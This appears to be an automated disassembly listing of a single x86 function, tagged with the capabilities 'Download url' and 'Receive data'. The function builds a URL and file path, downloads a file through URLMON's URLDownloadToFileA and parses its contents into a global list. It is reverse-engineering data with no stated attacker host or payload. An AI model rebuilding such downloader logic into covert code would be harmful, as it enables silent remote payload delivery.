Function at 0x48baac
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x45
push 0
push 0
dec ecx
jne 0x48bab4
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x48bf10
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x48be91
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a0e00]
call fcn.00404c84
lea edx, [ebp - 0x1f8]
mov eax, 0x48bf28
call fcn.00488c50
mov eax, dword [ebp - 0x1f8]
lea edx, [ebp - 0x1f4]
call fcn.0047f390
mov edx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1f0]
call fcn.00415690
push 0
lea edx, [ebp - 0x1fc]
mov eax, dword [0x4a0d68]
mov eax, dword [eax]
call fcn.00488c50
mov eax, dword [ebp - 0x1fc]
push eax
lea edx, [ebp - 0x200]
mov eax, 0x48bf54
call fcn.00488c50
mov eax, dword [ebp - 0x200]
push eax
push 0x48bf5c
lea eax, [ebp - 0x1f0]
push eax
push 0
call fcn.0041115c
add esp, 0x18
push 0x48bf68
lea eax, [ebp - 0x1f0]
push eax
push 0
call fcn.0041115c
add esp, 0xc
push 0x48bf70
lea eax, [ebp - 0x1f0]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0041115c
add esp, 0xc
lea edx, [ebp - 0x210]
lea eax, [ebp - 4]
call fcn.00414548
mov eax, dword [0x4a0d94]
call fcn.00404c84
mov edx, dword [ebp - 4]
mov eax, 0x48bf88
call fcn.004052a4
mov ebx, eax
test ebx, ebx
je 0x48bc0e
mov eax, dword [ebp - 4]
call fcn.00404f60
mov esi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
sub ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004051c0
mov edx, dword [ebp - 4]
mov eax, 0x48bfa4
call fcn.004052a4
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404f60
lea eax, [ebp - 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.004051c0
mov eax, dword [0x4a0e00]
mov edx, dword [ebp - 4]
call fcn.00404cd8
lea edx, [ebp - 8]
mov eax, 0x48bfb4
call fcn.00488c50
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.004052a4
mov ebx, eax
test ebx, ebx
je 0x48be87
lea eax, [ebp - 4]
push eax
lea edx, [ebx + 5]
mov ecx, 0x3c
mov eax, dword [ebp - 4]
call fcn.004051c0
lea edx, [ebp - 0x10]
mov eax, 0x48bfc8
call fcn.00488c50
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.004052a4
mov ebx, eax
test ebx, ebx
je 0x48be87
mov eax, dword [0x4a0f80]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x214]
push eax
mov ecx, ebx
dec ecx
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.004051c0
mov eax, dword [ebp - 0x214]
push eax
mov eax, 0x48bfc8
lea edx, [ebp - 0x218]
call fcn.00488c50
mov ecx, dword [ebp - 0x218]
lea eax, [ebp - 4]
pop edx
call fcn.00404fac
lea edx, [ebp - 0x21c]
mov eax, dword [0x4a0dbc]
mov eax, dword [eax]
call fcn.00488c50
mov edx, dword [ebp - 0x21c]
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.00404fac
lea edx, [ebp - 0x10]
mov eax, 0x48bfdc
call fcn.00488c50
lea edx, [ebp - 0x224]
mov eax, dword [0x4a0f5c]
mov eax, dword [eax]
call fcn.00461b9c
mov eax, dword [ebp - 0x224]
lea edx, [ebp - 0x220]
call fcn.00409a34
mov edx, dword [ebp - 0x220]
lea eax, [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00404fac
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405160
push eax
mov eax, dword [ebp - 8]
call fcn.00405160
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov eax, dword [ebp - 4]
call fcn.00409984
test al, al
jne 0x48bd74
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1dc]
call fcn.0040326c
lea eax, [ebp - 0x1dc]
call fcn.00402ffc
call fcn.00402c44
lea eax, [ebp - 0x1dc]
call fcn.00403008
call fcn.00402c44
lea eax, [ebp - 0x1dc]
call fcn.00403334
call fcn.00402c44
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1dc]
call fcn.0040326c
lea eax, [ebp - 0x1dc]
call fcn.00402ff0
call fcn.00402c44
jmp 0x48be37
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x1dc]
call fcn.00403644
lea eax, [ebp - 0x1dc]
call fcn.004036b0
call fcn.00402c44
lea edx, [ebp - 0x228]
mov eax, dword [ebp - 0xc]
call fcn.0040915c
mov edx, dword [ebp - 0x228]
lea eax, [ebp - 0xc]
call fcn.00404d1c
lea eax, [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00404d1c
mov edx, dword [ebp - 8]
mov eax, 0x48bff8
call fcn.004052a4
mov esi, eax
mov edx, dword [ebp - 8]
mov eax, 0x48c004
call fcn.004052a4
mov ebx, eax
test esi, esi
jle 0x48be37
test ebx, ebx
jle 0x48be37
lea eax, [ebp - 0x10]
push eax
mov ecx, ebx
sub ecx, esi
sub ecx, 3
lea edx, [esi + 2]
mov eax, dword [ebp - 8]
call fcn.004051c0
mov eax, dword [0x4a0f80]
mov eax, dword [eax]
mov edx, dword [0x4a0d94]
lea eax, [edx + eax*4]
mov edx, dword [ebp - 0x10]
call fcn.00404cd8
mov eax, dword [0x4a0f80]
inc dword [eax]
lea eax, [ebp - 0x1dc]
call fcn.0040349c
call fcn.00402c44
test al, al
je 0x48bd97
lea eax, [ebp - 0x1dc]
call fcn.00403334
call fcn.00402c44
mov eax, dword [ebp - 4]
call fcn.00409994
mov eax, dword [0x4a0d94]
cmp dword [eax], 0
je 0x48be87
mov eax, dword [0x4a1048]
inc dword [eax]
call fcn.0048c01c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48beb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48bea5
mov eax, dword [0x4a1100]
mov edx, 0x48c010
call fcn.00404cd8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48bf17
lea eax, [ebp - 0x228]
mov edx, 6
call fcn.00404ca8
lea eax, [ebp - 0x210]
call fcn.00411154
lea eax, [ebp - 0x200]
mov edx, 3
call fcn.00404ca8
lea eax, [ebp - 0x1f4]
call fcn.00406744
lea eax, [ebp - 0x1f0]
call fcn.00411154
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404ca8
ret